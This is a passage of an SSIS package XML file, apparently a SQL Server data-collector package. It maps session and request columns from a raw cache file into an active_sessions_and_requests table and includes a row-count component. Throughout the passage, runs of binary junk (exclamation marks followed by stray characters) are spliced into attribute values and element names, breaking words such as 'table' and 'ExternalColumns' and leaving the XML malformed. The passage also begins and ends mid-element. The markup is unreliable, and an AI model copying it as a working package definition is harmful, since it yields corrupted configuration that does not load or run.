Output].Columns[session_reads]"/><inputColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input].Columns[session_writes]" cachedDataType="i8" cachedName="session_writes" externalMetadataColumnId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input].ExternalColumns[session_writes]" lineageId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].Columns[session_writes]"/><inputColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input].Columns[session_logical_reads]" cachedDataType="i8" cachedName="session_logical_reads" externalMetadataColumnId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input].ExternalColumns[session_logical_reads]" lineageId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].Columns[session_logical_reads]"/><inputColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input].Columns[session_total_scheduled_time]" cachedDataType="i4" cachedName="session_total_scheduled_time" externalMetadataColumnId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input].ExternalColumns[session_total_scheduled_time]" lineageId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot	!!!!!!!!!!!!!!!!!!!!!!!!`h8~|sHv\RFS - Read Current Upload Data.Outputs[Raw File Source Output].Columns[session_total_scheduled_time]"/><inputColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input].Columns[session_total_elapsed_time]" cachedDataType="i4" cachedName="session_total_elapsed_time" externalMetadataColumnId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input].ExternalColumns[session_total_elapsed_time]" lineageId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].Columns[session_total_elapsed_time]"/><inputColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input].Columns[session_last_request_start_time]" cachedDataType="dbTimeStamp" cachedName="session_last_request_start_time" externalMetadataColumnId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input].ExternalColumns[session_last_request_start_time]" lineageId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].Columns[session_last_request_start_time]"/><inputColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input].Columns[session_last_request_end_time]" cachedDataType="dbTimeStamp" cachedName="session_last_request_end_time" externalMetadataColumnId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input].ExternalColumns[session_last_request_end_time]" lineageId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].Columns[session_last_request_end_time]"/><inputColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input].Columns[open_resultsets]" cachedDataType="i4" cachedName="open_resultsets" externalMetadataColumnId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input].ExternalColumns[open_resultsets]" lineageId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].Columns[open_resultsets]"/><inputColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input].Columns[session_row_count]" cachedDataType="i8" cachedName="session_row_count" externalMetadataColumnId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input].ExternalColumns[session_row_count]" lineageId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].Columns[session_row_count]"/><inputColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests t	!!!!!!!!!!!!!!!!!!!!!!!!`i8~8d6CHvable.Inputs[OLE DB Destination Input].Columns[prev_error]" cachedDataType="i4" cachedName="prev_error" externalMetadataColumnId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input].ExternalColumns[prev_error]" lineageId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].Columns[prev_error]"/><inputColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input].Columns[pending_io_count]" cachedDataType="i4" cachedName="pending_io_count" externalMetadataColumnId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input].ExternalColumns[pending_io_count]" lineageId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].Columns[pending_io_count]"/><inputColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input].Columns[command]" cachedDataType="wstr" cachedLength="32" cachedName="command" externalMetadataColumnId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input].ExternalColumns[command]" lineageId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].Columns[command]"/><inputColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input].Columns[snapshot_id]" cachedDataType="i4" cachedName="snapshot_id" externalMetadataColumnId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input].ExternalColumns[snapshot_id]" lineageId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\DRV - Add snapshot_id column.Outputs[Derived Column Output].Columns[snapshot_id]"/></inputColumns><externalMetadataColumns isUsed="True"><externalMetadataColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input].ExternalColumns[row_id]" dataType="i4" name="row_id"/><externalMetadataColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input].ExternalColumns[session_id]" dataType="i2" name="session_id"/><externalMetadataColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input].ExternalColumns[request_id]" dataType="i4" name="request_id"/><externalMetadataColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input].ExternalColumns[exec_context_id]" dataType="i4" name="exec_context_id"/><externalMetadataColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input].Extern	!!!!!!!!!!!!!!!!!!!!!!!!`j8~!HvalColumns[blocking_session_id]" dataType="i2" name="blocking_session_id"/><externalMetadataColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input].ExternalColumns[is_blocking]" dataType="bool" name="is_blocking"/><externalMetadataColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input].ExternalColumns[blocking_exec_context_id]" dataType="i4" name="blocking_exec_context_id"/><externalMetadataColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input].ExternalColumns[scheduler_id]" dataType="i4" name="scheduler_id"/><externalMetadataColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input].ExternalColumns[database_name]" dataType="wstr" length="128" name="database_name"/><externalMetadataColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input].ExternalColumns[user_id]" dataType="i4" name="user_id"/><externalMetadataColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input].ExternalColumns[task_state]" dataType="wstr" length="10" name="task_state"/><externalMetadataColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input].ExternalColumns[request_status]" dataType="wstr" length="15" name="request_status"/><externalMetadataColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input].ExternalColumns[session_status]" dataType="wstr" length="15" name="session_status"/><externalMetadataColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input].ExternalColumns[executing_managed_code]" dataType="bool" name="executing_managed_code"/><externalMetadataColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input].ExternalColumns[login_time]" dataType="dbTimeStampOffset" name="login_time" scale="7"/><externalMetadataColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input].ExternalColumns[is_user_process]" dataType="bool" name="is_user_process"/><externalMetadataColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input].ExternalColumns[host_name]" dataType="wstr" length="20" name="host_name"/><externalMetadataColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input].ExternalColumns[program_name]" dataType="wstr" length="50" name="program_name"/><externalMetadataColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots i	!!!!!!!!!!!!!!!!!!!!!!!!`k8~%,Hvnto active_sessions_and_requests table.Inputs[OLE DB Destination Input].ExternalColumns[login_name]" dataType="wstr" length="30" name="login_name"/><externalMetadataColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input].ExternalColumns[wait_type]" dataType="wstr" length="45" name="wait_type"/><externalMetadataColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input].ExternalColumns[last_wait_type]" dataType="wstr" length="45" name="last_wait_type"/><externalMetadataColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input].ExternalColumns[wait_duration_ms]" dataType="i8" name="wait_duration_ms"/><externalMetadataColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input].ExternalColumns[wait_resource]" dataType="wstr" length="50" name="wait_resource"/><externalMetadataColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input].ExternalColumns[resource_description]" dataType="wstr" length="140" name="resource_description"/><externalMetadataColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input].ExternalColumns[transaction_id]" dataType="i8" name="transaction_id"/><externalMetadataColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input].ExternalColumns[open_transaction_count]" dataType="i4" name="open_transaction_count"/><externalMetadataColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input].ExternalColumns[transaction_isolation_level]" dataType="i2" name="transaction_isolation_level"/><externalMetadataColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input].ExternalColumns[request_cpu_time]" dataType="i4" name="request_cpu_time"/><externalMetadataColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input].ExternalColumns[request_logical_reads]" dataType="i8" name="request_logical_reads"/><externalMetadataColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input].ExternalColumns[request_reads]" dataType="i8" name="request_reads"/><externalMetadataColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input].ExternalColumns[request_writes]" dataType="i8" name="request_writes"/><externalMetadataColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input].ExternalColumns[request_total_elapsed_time]" dataType="i4" name="request_total_elapsed_time"/><externalMetadataColumn 	!!!!!!!!!!!!!!!!!!!!!!!!`l8~)HvrefId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input].ExternalColumns[request_start_time]" dataType="dbTimeStampOffset" name="request_start_time" scale="7"/><externalMetadataColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input].ExternalColumns[memory_usage]" dataType="i4" name="memory_usage"/><externalMetadataColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input].ExternalColumns[session_cpu_time]" dataType="i4" name="session_cpu_time"/><externalMetadataColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input].ExternalColumns[session_reads]" dataType="i8" name="session_reads"/><externalMetadataColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input].ExternalColumns[session_writes]" dataType="i8" name="session_writes"/><externalMetadataColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input].ExternalColumns[session_logical_reads]" dataType="i8" name="session_logical_reads"/><externalMetadataColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input].ExternalColumns[session_total_scheduled_time]" dataType="i4" name="session_total_scheduled_time"/><externalMetadataColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input].ExternalColumns[session_total_elapsed_time]" dataType="i4" name="session_total_elapsed_time"/><externalMetadataColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input].ExternalColumns[session_last_request_start_time]" dataType="dbTimeStampOffset" name="session_last_request_start_time" scale="7"/><externalMetadataColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input].ExternalColumns[session_last_request_end_time]" dataType="dbTimeStampOffset" name="session_last_request_end_time" scale="7"/><externalMetadataColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input].ExternalColumns[open_resultsets]" dataType="i4" name="open_resultsets"/><externalMetadataColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input].ExternalColumns[session_row_count]" dataType="i8" name="session_row_count"/><externalMetadataColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input].ExternalColumns[prev_error]" dataType="i4" name="prev_error"/><externalMetadataColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upl	!!!!!!!!!!!!!!!!!!!!!!!!`m8~-BEqHvoad snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input].ExternalColumns[pending_io_count]" dataType="i4" name="pending_io_count"/><externalMetadataColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input].ExternalColumns[command]" dataType="wstr" length="32" name="command"/><externalMetadataColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input].ExternalColumns[plan_handle]" dataType="bytes" length="64" name="plan_handle"/><externalMetadataColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input].ExternalColumns[sql_handle]" dataType="bytes" length="64" name="sql_handle"/><externalMetadataColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input].ExternalColumns[statement_start_offset]" dataType="i4" name="statement_start_offset"/><externalMetadataColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input].ExternalColumns[statement_end_offset]" dataType="i4" name="statement_end_offset"/><externalMetadataColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input].ExternalColumns[collection_time]" dataType="dbTimeStampOffset" name="collection_time" scale="7"/><externalMetadataColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input].ExternalColumns[snapshot_id]" dataType="i4" name="snapshot_id"/></externalMetadataColumns></input></inputs><outputs><output refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Outputs[OLE DB Destination Error Output]" exclusionGroup="1" isErrorOut="true" name="OLE DB Destination Error Output" synchronousInputId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input]"><outputColumns><outputColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Outputs[OLE DB Destination Error Output].Columns[ErrorCode]" dataType="i4" lineageId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Outputs[OLE DB Destination Error Output].Columns[ErrorCode]" name="ErrorCode" specialFlags="1"/><outputColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Outputs[OLE DB Destination Error Output].Columns[ErrorColumn]" dataType="i4" lineageId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Outputs[OLE DB Destination Error Output].Columns[ErrorColumn]" name="ErrorColumn" specialFlags="2"/></outputColumns><externalMetadataColumns/></output></outputs></component><component refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RC - Count output rows" componentClassID="{E2697	!!!!!!!!!!!!!!!!!!!!!!!!`n8X"HvD8C-70DA-42B2-8208-A19CE3A9FE41}" contactInfo="Row Count;Microsoft Corporation;Microsoft SqlServer v9; (C) 2005 Microsoft Corporation; All Rights Reserved; http://www.microsoft.com/sql/support;0" description="Counts the rows in a dataset." name="RC - Count output rows"><properties><property dataType="System.String" description="Specifies the variable to hold the row count." name="VariableName">User::RowCount</property></properties><inputs><input refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RC - Count output rows.Inputs[Row Count Input 1]" hasSideEffects="true" name="Row Count Input 1"><externalMetadataColumns/></input></inputs><outputs><output refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RC - Count output rows.Outputs[Row Count Output 1]" name="Row Count Output 1" synchronousInputId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RC - Count output rows.Inputs[Row Count Input 1]"><externalMetadataColumns/></output></outputs></component><component refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data" componentClassID="{480C7D5A-CE63-405C-B338-3C7F26560EE3}" contactInfo="Extracts data from a raw file.;Microsoft Corporation;Microsoft SqlServer v9; (C) 2005 Microsoft Corporation; All Rights Reserved; http://www.microsoft.com/sql/support;1" description="Extracts data from a raw file." name="RFS - Read Current Upload Data" version="1"><properties><property dataType="System.Int32" description="Specifies the mode used to access the file." name="AccessMode" typeConverter="AccessMode">1</property><property dataType="System.Null" description="Output file name" name="FileName" UITypeEditor="Microsoft.DataTransformationServices.Controls.NonValidatingFileNameEditor, Microsoft.DataTransformationServices.Controls, Version=11.0.0.0, Culture=neutral, PublicKeyToken=89845dcd8080cc91"/><property dataType="System.String" description="Name of the variable that contains the file name" name="FileNameVariable">User::CurrentCollectionCacheFileName</property></properties><outputs><output refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output]" name="Raw File Source Output"><outputColumns><outputColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].Columns[sql_handle]" dataType="bytes" externalMetadataColumnId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].ExternalColumns[sql_handle]" length="64" lineageId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].Columns[sql_handle]" name="sql_handle"/><outputColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].Columns[statement_start_offset]" dataType="i4" externalMetadataColumnId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].ExternalColumns[statement_start_offset]" lineageId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].Columns[statement_start_offset]" name="statement_start_offset"/><outputColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].Columns[statement_end_offset]" dataType="i4" externalMetadataColumnId="Package\FEF - For each collected cache file try upload\DFT - Upload col	!!!!!!!!!!!!!!!!!!!!!!!!`o8>8Hvlection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].ExternalColumns[statement_end_offset]" lineageId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].Columns[statement_end_offset]" name="statement_end_offset"/><outputColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].Columns[plan_handle]" dataType="bytes" externalMetadataColumnId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].ExternalColumns[plan_handle]" length="64" lineageId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].Columns[plan_handle]" name="plan_handle"/><outputColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].Columns[collection_time]" dataType="dbTimeStamp" externalMetadataColumnId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].ExternalColumns[collection_time]" lineageId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].Columns[collection_time]" name="collection_time"/><outputColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].Columns[row_id]" dataType="i4" externalMetadataColumnId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].ExternalColumns[row_id]" lineageId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].Columns[row_id]" name="row_id"/><outputColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].Columns[session_id]" dataType="i2" externalMetadataColumnId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].ExternalColumns[session_id]" lineageId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].Columns[session_id]" name="session_id"/><outputColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].Columns[request_id]" dataType="i4" externalMetadataColumnId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].ExternalColumns[request_id]" lineageId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].Columns[request_id]" name="request_id"/><outputColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].Columns[exec_context_id]" dataType="i4" externalMetadataColumnId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].ExternalColumns[exec_context_id]" lineageId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File So	!!!!!!!!!!!!!!!!!!!!!!!!`p8";DgHvurce Output].Columns[exec_context_id]" name="exec_context_id"/><outputColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].Columns[blocking_session_id]" dataType="i2" externalMetadataColumnId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].ExternalColumns[blocking_session_id]" lineageId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].Columns[blocking_session_id]" name="blocking_session_id"/><outputColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].Columns[is_blocking]" dataType="bool" externalMetadataColumnId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].ExternalColumns[is_blocking]" lineageId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].Columns[is_blocking]" name="is_blocking"/><outputColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].Columns[blocking_exec_context_id]" dataType="i4" externalMetadataColumnId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].ExternalColumns[blocking_exec_context_id]" lineageId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload 